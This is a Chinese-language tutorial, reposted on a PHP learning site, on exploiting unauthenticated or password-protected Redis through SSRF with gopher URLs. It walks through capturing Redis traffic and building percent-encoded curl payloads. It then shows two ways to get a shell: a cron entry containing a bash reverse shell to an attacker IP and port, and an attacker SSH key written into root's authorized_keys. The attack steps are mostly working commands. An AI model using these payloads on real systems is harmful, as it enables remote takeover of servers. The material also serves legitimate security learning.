0

0

Redis中服务端请求伪造SSRF的示例分析

WBOY

WBOY

发布时间:2023-05-30 09:18:28

|

1544人浏览过

|

来源于亿速云

转载

ssrf,即服务端请求伪造。用户可以控制服务器请求的资源、协议、路径等。即可造成ssrf攻击。

本文着重研究通过 gopher协议 ,对 Redis服务 进行SSRF攻击,进而getshell。

gopher协议格式

首先先了解gopher协议为何物,格式是什么样子:

gopher://://_后接TCP数据流

在我们测试攻击redis时,可以使用 linux 自带的 curl进行测试。

如果使用Centos,为了确保实验成功,最好将 Centos的 selinux关闭。

关闭 selinux:

setenforce 0

攻击redis

(1)实验环境搭建

虚拟机装台 Centos7即可。

redis安装:

wget http://download.redis.io/releases/redis-4.0.6.tar.gz  //下载redis压缩包

yum install gcc //安装make时必备的gcc

tar -xzvf redis-4.0.6.tar.gz //解压压缩包 cd redis-4.0.6 //进入压缩包目录

make MALLOC=libc //编译

cd src //编译完成后会生成一个文件夹src,进入src文件夹

make install //安装

redis运行:

redis-4.0.6 目录下,redis.conf 是最初始的redis配置文件

redis-4.0.6/src 目录下,有两个最重要的可执行文件:

redis-server -- 服务端

redis-cli -- 客户端

直接运行 服务端程序,即可开启 redis 服务。

./redis-server

Redis中服务端请求伪造SSRF的示例分析

直接运行 客户端程序,默认连接本地的redis服务:

./redis-cli

(2)初探与介绍

尝试攻击无密码的Redis:

首先我们得开启抓包软件,捕获与redis通信的数据包。

在Linux中,可以用tcpdump来抓流量:

tcpdump -i lo -s 0 port 6379 -w redis.pcap

若是抓本地接口的流量,注意是lo不是eth0

我们先登录,然后执行 set key 操作:

Redis中服务端请求伪造SSRF的示例分析

将tcpdump抓到的包导出来,用wireshark打开,追踪TCP流

只看我们输入的数据,不看服务端返回的数据,可以看到只有几行:

Redis中服务端请求伪造SSRF的示例分析

在 “显示和保存数据为” 这一位置,选择 Hex转储,将会得到如下的数据:

Redis中服务端请求伪造SSRF的示例分析

其中 画红色框的就是一会用到的payload

将所有东西都复制出来,使用编辑器去掉除了红框以外的所有无关数据

Redis中服务端请求伪造SSRF的示例分析

然后给每个十六进制值前加上一个百分号,排成一行即可:

Redis中服务端请求伪造SSRF的示例分析

构造 curl 请求:

curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -

回显:

Redis中服务端请求伪造SSRF的示例分析

查询key:

Redis中服务端请求伪造SSRF的示例分析

可以成功设置key。

尝试攻击使用密码的redis:

先配置redis为 需要密码登录:

修改redis下的配置文件 redis.conf,搜索 requirepass 关键字。

默认 requirepass 是被注释的,将注释符号删除,再在 requirepass 后面填写想要给 redis 设置的密码

Redis中服务端请求伪造SSRF的示例分析

配置好后启动 redis 的命令为:

./redis-server redis配置文件路径

Redis中服务端请求伪造SSRF的示例分析

尝试攻击有密码redis:

首先,开启tcpdump抓包,然后在redis命令行中执行操作:

Redis中服务端请求伪造SSRF的示例分析

重新抓流量,和之前一样操作,发现密码验证也就是加多了一个auth命令:

Redis中服务端请求伪造SSRF的示例分析

重复上文的步骤即可。

(2)GetShell:

接下来讲重点:通过 set key GetShell:

思路:

(1)将反弹shell命令写到定时任务里,攻击机只需要开一个netcat端口即可。

(2)写入ssh-keygen,进行ssh免密登录。

一个个细细道来。

(1)定时任务反弹shell

基本要求:

redis需要是以 root 权限运行,不然写不到 /var/spool/cron/ 目录下

1.首先得知道 Linux 下的定时任务是个什么东西:

Linux下设置定时任务命令为 crontab

配置文件为 /etc/crontab

下面这张图是配置文件里的内容,很好的说明了 crontab 配置的格式

Redis中服务端请求伪造SSRF的示例分析

这个配置文件应该只是供参考用的,我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下

如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt

则可以这么操作:

vim /var/spool/cron/root //root是文件名,一般以执行的用户命名

在文件中写入

* * * * * root echo1 > /tmp/1.txt

保存退出后,重启 crontab 服务:

systemctl restart crond.service

即可每一分钟执行一次该命令

ImgCreator AI
ImgCreator AI

一款AI图像生成工具,适合创建插图、动画和概念设计图像。

下载

2.接着要知道linux下通过输入输出流反弹shell

 命令:

/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1

 直接看效果:Redis中服务端请求伪造SSRF的示例分析

Redis中服务端请求伪造SSRF的示例分析

这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/

文件描述符 1 表示标准输入

文件描述符 2 表示标准输出

/bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。

重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。

做个实例就清晰明了了

Redis中服务端请求伪造SSRF的示例分析

/dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接

这里我们设置成攻击机监听的地址

最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,攻击机的输入就是从标准输入0传送至靶机

通过重定向符,重定向到 1(标准输入)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。

3.还需要知道Redis如何写入文件

Redis 中可以导出当前数据库中的 key 和 value

并且可以通过命令配置导出路径和文件名:

config set dir /tmp/test      //设置导出路径
config set dbfilename root    //设置导出文件名
save                          //执行导出操作

Redis中服务端请求伪造SSRF的示例分析

Redis中服务端请求伪造SSRF的示例分析

可以看到,格式非常乱。不过还好linux中的cron不会报错,只要读到一行正确配置即可执行。

通过crontab定时任务 getshell

为了能让linux能够正确读到一行,我们在 set key 的时候手动添加 \n(换行)

redis语句:

config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save

转换成 gopher协议,进行curl请求:

Redis中服务端请求伪造SSRF的示例分析

成功写入:

Redis中服务端请求伪造SSRF的示例分析

成功getshell:

Redis中服务端请求伪造SSRF的示例分析

注意:这里有一个坑点。

cron文件不需要写用户名,不然会报错:

Redis中服务端请求伪造SSRF的示例分析

Redis中服务端请求伪造SSRF的示例分析

(2)ssh免密登录

在linux中,ssh可配置成免密登录。

需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes

改为

StrictModes no

然后重启sshd即可

免密登录条件:

客户端生成公钥和私钥

将公钥上传至服务端 即可

在SSRF利用中,同样需要root权限运行 redis

如果不是root权限,需要能够 ssh 登录的用户权限运行 redis

正常免密登录流程:

1.客户端先生成公钥和私钥

使用工具 ssh-keygen:

ssh-keygen -t rsa

Redis中服务端请求伪造SSRF的示例分析

执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件

有.pub后缀的就是公钥,没有.pub后缀的就是私钥

Redis中服务端请求伪造SSRF的示例分析

2.上传公钥至服务器

将公钥上传至服务端的 /root/.ssh目录下

嫌麻烦可以用 ssh-copy-id工具

Redis中服务端请求伪造SSRF的示例分析

Redis中服务端请求伪造SSRF的示例分析

3.重命名文件为authorized_keys

文件名要重命名为 authorized_keys

authorized_keys 文件内容如下:

Redis中服务端请求伪造SSRF的示例分析

如果有多台客户端需要免密登录,新起一行,新行中写对应的客户端的公钥值即可

类似这样:

Redis中服务端请求伪造SSRF的示例分析

4.免密登录

传好后即可免密登录:

Redis中服务端请求伪造SSRF的示例分析

ssh免密登录 getshelll

我们知道了要写入的文件位置、要写入的内容(公钥事先生成好),我们可以构造redis语句了:

//先配置路径
config set dir /root/.ssh      
config set dbfilename authorized_keys
//写入公钥
set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n"
//保存
save

改成gopher协议格式: 

Redis中服务端请求伪造SSRF的示例分析

查看 authorized_keys 文件:

Redis中服务端请求伪造SSRF的示例分析 

成功免密登录:

Redis中服务端请求伪造SSRF的示例分析

相关专题

更多
curl_exec
curl_exec

curl_exec函数是PHP cURL函数列表中的一种,它的功能是执行一个cURL会话。给大家总结了一下php curl_exec函数的一些用法实例,这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。他的返回值成功时返回TRUE, 或者在失败时返回FALSE。

425

2023.06.14

linux常见下载安装工具
linux常见下载安装工具

linux常见下载安装工具有APT、YUM、DNF、Snapcraft、Flatpak、AppImage、Wget、Curl等。想了解更多linux常见下载安装工具相关内容,可以阅读本专题下面的文章。

174

2023.10.30

硬盘接口类型介绍
硬盘接口类型介绍

硬盘接口类型有IDE、SATA、SCSI、Fibre Channel、USB、eSATA、mSATA、PCIe等等。详细介绍:1、IDE接口是一种并行接口,主要用于连接硬盘和光驱等设备,它主要有两种类型:ATA和ATAPI,IDE接口已经逐渐被SATA接口;2、SATA接口是一种串行接口,相较于IDE接口,它具有更高的传输速度、更低的功耗和更小的体积;3、SCSI接口等等。

1011

2023.10.19

PHP接口编写教程
PHP接口编写教程

本专题整合了PHP接口编写教程,阅读专题下面的文章了解更多详细内容。

60

2025.10.17

php8.4实现接口限流的教程
php8.4实现接口限流的教程

PHP8.4本身不内置限流功能,需借助Redis(令牌桶)或Swoole(漏桶)实现;文件锁因I/O瓶颈、无跨机共享、秒级精度等缺陷不适用高并发场景。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

370

2025.12.29

vim保存退出命令
vim保存退出命令

vim是一个非常强大的文本编辑器,常用于Unix和Linux系统。它是从vi发展而来的,相比vi有许多改进和扩展。在vim中,保存并退出的命令是:wq"wq"这个命令是由两个部分组成的。其中,"w"表示写入文件,将所做的更改保存到磁盘;而"q"表示退出vim编辑器。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

266

2023.08.01

常用的数据库软件
常用的数据库软件

常用的数据库软件有MySQL、Oracle、SQL Server、PostgreSQL、MongoDB、Redis、Cassandra、Hadoop、Spark和Amazon DynamoDB。更多关于数据库软件的内容详情请看本专题下面的文章。php中文网欢迎大家前来学习。

967

2023.11.02

内存数据库有哪些
内存数据库有哪些

内存数据库有Redis、Memcached、Apache Ignite、VoltDB、TimesTen、H2 Database、Aerospike、Oracle TimesTen In-Memory Database、SAP HANA和ache Cassandra。更多关于内存数据库相关问题,详情请看本专题下面的文章。php中文网欢迎大家前来学习。

630

2023.11.14

Java 项目构建与依赖管理(Maven / Gradle)
Java 项目构建与依赖管理(Maven / Gradle)

本专题系统讲解 Java 项目构建与依赖管理的完整体系,重点覆盖 Maven 与 Gradle 的核心概念、项目生命周期、依赖冲突解决、多模块项目管理、构建加速与版本发布规范。通过真实项目结构示例,帮助学习者掌握 从零搭建、维护到发布 Java 工程的标准化流程,提升在实际团队开发中的工程能力与协作效率。

3

2026.01.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
进程与SOCKET
进程与SOCKET

共6课时 | 0.3万人学习

Redis+MySQL数据库面试教程
Redis+MySQL数据库面试教程

共72课时 | 6.3万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号